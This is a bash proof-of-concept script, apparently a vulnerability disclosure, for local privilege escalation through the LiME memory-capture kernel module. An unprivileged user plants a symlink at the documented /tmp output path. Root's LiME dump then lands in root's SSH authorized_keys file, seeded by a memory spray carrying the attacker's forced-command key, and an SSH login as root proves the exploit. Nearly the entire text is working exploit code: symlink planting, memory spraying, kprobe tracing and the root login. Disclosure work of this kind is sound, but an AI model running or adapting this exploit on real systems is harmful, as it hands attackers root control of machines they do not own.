[[ -f "$PIDFILE" ]] && kill "$(cat "$PIDFILE")" 2>/dev/null
rm -f "$SSHD_CFG" "$SSHD_PID" 2>/dev/null
if [[ "$KEEP" == "1" ]]; then
warn "KEEP=1 set; leaving target artifacts for inspection: $OUT -> $TARGET"
else
[[ "$CREATED_OUT" == "1" ]] && rm -f "$OUT" 2>/dev/null
rm -f "$TARGET" 2>/dev/null
fi
}
trap cleanup EXIT
human_mb() {
awk -v mb="$1" 'BEGIN {
if (mb >= 1024) printf "%.2f GiB", mb / 1024;
else printf "%d MiB", mb;
}'
}
calc_ratio() {
awk -v a="$1" -v b="$2" 'BEGIN {
if (b <= 0) print "0.00";
else printf "%.2f", (a / b) * 100;
}'
}
read_mem_mb() {
awk '/MemTotal:/ {printf "%d", $2 / 1024}' /proc/meminfo
}
default_spray_mb() {
local mem_mb="$1"
local candidate=$((mem_mb / 4))
(( candidate < 128 )) && candidate=128
(( candidate > 1024 )) && candidate=1024
printf '%d' "$candidate"
}
find_sshd() {
if command -v sshd >/dev/null 2>&1; then
command -v sshd
elif [[ -x /usr/sbin/sshd ]]; then
printf '%s\n' /usr/sbin/sshd
else
return 1
fi
}
print_sysinfo() {
local mem_mb swap_mb cgroup_max
mem_mb="$(read_mem_mb)"
swap_mb="$(awk '/SwapTotal:/ {printf "%d", $2 / 1024}' /proc/meminfo)"
cgroup_max="n/a"
[[ -r /sys/fs/cgroup/memory.max ]] && cgroup_max="$(cat /sys/fs/cgroup/memory.max)"
log "kernel: $(uname -a)"
log "memory: $(human_mb "$mem_mb") RAM, $(human_mb "$swap_mb") swap"
log "cgroup memory.max: $cgroup_max"
log "filesystem for /tmp:"
df -h /tmp | sed 's/^/ /'
log "symlink protection:"
sysctl fs.protected_symlinks 2>/dev/null | sed 's/^/ /' || true
}
setup_trace() {
[[ "$KTRACE" == "1" ]] || return 0
T="/sys/kernel/tracing"
mount -t tracefs nodev "$T" 2>/dev/null || true
if [[ ! -d "$T/events" ]]; then
warn "tracefs unavailable; continuing without kernel stack trace"
KTRACE=0
return 0
fi
echo 0 > "$T/tracing_on"
echo > "$T/trace"
echo > "$T/kprobe_events"
if ! echo 'p:lime_showcase_filp_open filp_open filename=+0($arg1):string flags=$arg2:x64 mode=$arg3:x64' > "$T/kprobe_events" 2>/dev/null; then
warn "could not create filp_open kprobe; continuing without kernel stack trace"
KTRACE=0
return 0
fi
echo 'stacktrace' > "$T/events/kprobes/lime_showcase_filp_open/trigger" 2>/dev/null || true
echo 1 > "$T/events/kprobes/lime_showcase_filp_open/enable"
echo 1 > "$T/tracing_on"
ok "kernel trace armed: kprobe(filp_open) with stacktrace trigger"
}
collect_trace() {
[[ "$KTRACE" == "1" ]] || return 0
echo 0 > "$T/tracing_on" 2>/dev/null || true
cp "$T/trace" "$TRACE_FILE" 2>/dev/null || return 0
log "kernel trace excerpt for LiME output open:"
if ! grep -A28 -B4 -F "$OUT" "$TRACE_FILE" | sed 's/^/ /'; then
warn "trace collected, but output path was not found in the excerpt. Full trace: $TRACE_FILE"
else
ok "kernel trace saved: $TRACE_FILE"
fi
}
safe_prepare_out_path() {
if [[ -e "$OUT" || -L "$OUT" ]]; then
die "$OUT already exists. Remove it manually after verifying it is not important, then rerun."
fi
}
build_lime() {
cd "$REPO/src"
make clean
make symbols
KO="$(readlink -f "$(ls -1 lime-*.ko | head -n1)")"
[[ -f "$KO" ]] || die "could not find built lime-*.ko"
ok "built module: $KO"
}
show_source_evidence() {
log "documented disk workflow:"
grep -n 'path=/tmp/ram.lime format=lime' "$REPO/README.md" "$REPO/docs/README.md" 2>/dev/null | sed 's/^/ /' || true
log "vulnerable disk open:"
grep -n 'O_WRONLY | O_CREAT | O_LARGEFILE | O_TRUNC' "$REPO/src/disk.c" | sed 's/^/ /'
grep -n 'filp_open(path, oflags, 0444)' "$REPO/src/disk.c" | sed 's/^/ /'
}
setup_attacker() {
if ! id "$ATTACKER" >/dev/null 2>&1; then
useradd -m -s /bin/bash "$ATTACKER"
fi
ok "attacker user: $(id "$ATTACKER")"
}
start_memory_spray() {
local mem_mb ratio key_pub forced authline marker
mem_mb="$(read_mem_mb)"
SPRAY_MB="${SPRAY_MB:-$(default_spray_mb "$mem_mb")}"
ratio="$(calc_ratio "$SPRAY_MB" "$mem_mb")"
if (( SPRAY_MB < 64 )); then
warn "SPRAY_MB=$SPRAY_MB is small; increase it if the marker is not found."
fi
if awk -v r="$ratio" 'BEGIN { exit !(r < 5.0) }'; then
warn "spray ratio is only ${ratio}% of RAM; reliability may be lower on large-memory hosts."
fi
KEY="/home/$ATTACKER/lime_lpe_ed25519"
rm -f "$KEY" "$KEY.pub"
sudo -u "$ATTACKER" mkdir -p "/home/$ATTACKER/.ssh"
sudo -u "$ATTACKER" ssh-keygen -q -t ed25519 -N "" -f "$KEY"
key_pub="$(cut -d' ' -f1,2 "$KEY.pub")"
forced='command="/bin/sh -c '\''id > /tmp/lime-lpe-proof; echo LIME_SSH_LPE_YES >> /tmp/lime-lpe-proof; chmod 0644 /tmp/lime-lpe-proof'\''",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty'
AUTHLINE="$forced $key_pub"
MARKER="LIME_MEMORY_HUNT_$(date +%s)_$(cat /proc/sys/kernel/random/uuid)_END"
log "memory spray plan:"
printf ' RAM total: %s\n' "$(human_mb "$mem_mb")"
printf ' Spray size: %s\n' "$(human_mb "$SPRAY_MB")"
printf ' Spray ratio: %s%%\n' "$ratio"
printf ' Marker: %s\n' "$MARKER"
rm -f "$PIDFILE" "$PROOF"
sudo -u "$ATTACKER" env AUTHLINE="$AUTHLINE" MARKER="$MARKER" PIDFILE="$PIDFILE" SPRAY_MB="$SPRAY_MB" python3 - <<'PY' &
import os, time
spray_mb = int(os.environ["SPRAY_MB"])
line = ("\n" + os.environ["MARKER"] + "\n" + os.environ["AUTHLINE"] + "\n").encode()
target = spray_mb * 1024 * 1024
repeat = max(1, target // len(line))
buf = bytearray(line * repeat)
# Fault every page in so LiME has resident physical pages to acquire.
for i in range(0, len(buf), 4096):
buf[i] ^= 0
with open(os.environ["PIDFILE"], "w") as f:
f.write(str(os.getpid()))
print("attacker_memory_pid=%d resident_bytes=%d" % (os.getpid(), len(buf)), flush=True)
while True:
time.sleep(1)
PY
for _ in $(seq 1 30); do
[[ -s "$PIDFILE" ]] && break
sleep 0.2
done
[[ -s "$PIDFILE" ]] || die "attacker memory spray process did not start"
SPRAY_PID="$(cat "$PIDFILE")"
ok "attacker memory process pid: $SPRAY_PID"
log "resident memory status:"
awk '/VmRSS|VmSize|VmSwap/ {print " " $0}' "/proc/$SPRAY_PID/status" 2>/dev/null || true
}
prepare_target_and_symlink() {
mkdir -p /root/.ssh
chmod 0700 /root/.ssh
rm -f "$TARGET"
safe_prepare_out_path
sudo -u "$ATTACKER" ln -s "$TARGET" "$OUT"
CREATED_OUT=1
ok "attacker planted symlink:"
ls -l "$OUT" | sed 's/^/ /'
log "target before acquisition:"
if [[ -e "$TARGET" ]]; then
stat -c ' owner=%U group=%G mode=%a size=%s path=%n' "$TARGET"
else
printf ' %s does not exist yet\n' "$TARGET"
fi
}
run_lime_acquisition() {
local rc
setup_trace
log "loading LiME through the attacker-controlled symlink"
set +e
insmod "$KO" "path=$OUT" "format=raw"
rc=$?
set -e
collect_trace
if (( rc != 0 )); then
warn "insmod failed with rc=$rc"
if [[ "$OUT" == /tmp/* ]]; then
warn "If fs.protected_symlinks=1 blocked /tmp symlink following, rerun with OUT=/home/$ATTACKER/lime-ssh-out."
fi
dmesg | tail -30 | sed 's/^/ /' || true
exit "$rc"
fi
ok "LiME acquisition completed through symlink"
}
hunt_memory_artifacts() {
local marker_hit key_blob key_hit off context_start
log "target after acquisition:"
stat -c ' owner=%U group=%G mode=%a size=%s path=%n' "$TARGET"
ls -lh "$TARGET" | sed 's/^/ /'
log "memory hunt: scanning root-owned file for attacker marker"
marker_hit="$(LC_ALL=C grep -aobm1 -F "$MARKER" "$TARGET" || true)"
[[ -n "$marker_hit" ]] || die "marker not found in root-owned target. Increase SPRAY_MB and rerun."
off="${marker_hit%%:*}"
ok "marker found at byte offset $off"
context_start="$off"
(( context_start > 96 )) && context_start=$((context_start - 96))
log "context around marker/key material:"
dd if="$TARGET" bs=1 skip="$context_start" count=512 status=none 2>/dev/null | strings -a | head -8 | sed 's/^/ /'
key_blob="$(cut -d' ' -f2 "$KEY.pub")"
log "memory hunt: scanning root-owned file for attacker's SSH public key blob"
key_hit="$(LC_ALL=C grep -aobm1 -F "$key_blob" "$TARGET" || true)"
[[ -n "$key_hit" ]] || die "SSH public key blob not found in root-owned target. Increase SPRAY_MB and rerun."
ok "attacker SSH key blob found at byte offset ${key_hit%%:*}"
}
start_isolated_sshd() {
local sshd_bin
sshd_bin="$(find_sshd)" || die "sshd not installed. Install openssh-server inside the VM."
ssh-keygen -A >/dev/null 2>&1 || true
mkdir -p /run/sshd
rm -f "$SSHD_LOG" "$SSHD_PID"
cat > "$SSHD_CFG" <<EOF
Port $SSHD_PORT
ListenAddress 127.0.0.1
Protocol 2
HostKey /etc/ssh/ssh_host_ed25519_key
PermitRootLogin yes
PasswordAuthentication no
KbdInteractiveAuthentication no
PubkeyAuthentication yes
AuthorizedKeysFile .ssh/authorized_keys_lime_poc
StrictModes yes
UsePAM no
PidFile $SSHD_PID
LogLevel VERBOSE
LoginGraceTime 10m
EOF
"$sshd_bin" -f "$SSHD_CFG" -E "$SSHD_LOG"
ok "isolated sshd started on 127.0.0.1:$SSHD_PORT"
}
prove_lpe() {
local rc
log "attacker authenticates as root using key material injected through LiME dump"
set +e
sudo -u "$ATTACKER" ssh \
-i "$KEY" \
-p "$SSHD_PORT" \
-o BatchMode=yes \
-o StrictHostKeyChecking=no \
-o UserKnownHostsFile=/dev/null \
-o PreferredAuthentications=publickey \
root@127.0.0.1 true
rc=$?
set -e
printf ' ssh_exit=%d\n' "$rc"
if [[ -s "$PROOF" ]]; then
cat "$PROOF" | sed 's/^/ /'
grep -q 'uid=0(root)' "$PROOF"
grep -q 'LIME_SSH_LPE_YES' "$PROOF"
ok "LOCAL_PRIVILEGE_ESCALATION_VIA_AUTHORIZED_KEYS=YES"
else
warn "proof file did not appear; sshd log follows"
tail -80 "$SSHD_LOG" | sed 's/^/ /' || true
exit 1
fi
}
summary() {
printf '\n%s\n' "${C_GREEN}${C_BOLD}== PoC summary ==${C_RESET}"
printf ' %-28s %s\n' "Documented-style path:" "$OUT"
printf ' %-28s %s\n' "Symlink target:" "$TARGET"
printf ' %-28s %s\n' "Attacker user:" "$ATTACKER"
printf ' %-28s %s\n' "Spray size:" "$(human_mb "$SPRAY_MB")"
printf ' %-28s %s\n' "Marker:" "$MARKER"
printf ' %-28s %s\n' "Kernel trace:" "${TRACE_FILE:-disabled}"
printf ' %-28s %s\n' "Proof file:" "$PROOF"
}
main() {
banner
need_root
need_cmd make
need_cmd gcc
need_cmd python3
need_cmd ssh
need_cmd ssh-keygen
need_cmd grep
need_cmd dd
need_cmd strings
find_sshd >/dev/null || die "sshd not installed. Install openssh-server inside the VM."
step "Environment and safety checks"
print_sysinfo
step "Build LiME with symbols"
build_lime
step "Source and documentation evidence"
show_source_evidence
step "Prepare attacker account and controlled memory spray"
setup_attacker
start_memory_spray
step "Plant symlink at documented-style output path"
prepare_target_and_symlink
step "Run LiME and capture kernel-level file-open evidence"
run_lime_acquisition
step "Hunt attacker-controlled bytes inside the root-owned output"
hunt_memory_artifacts
step "Use isolated OpenSSH parser to prove root execution"
start_isolated_sshd
prove_lpe
summary
}
main "$@"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment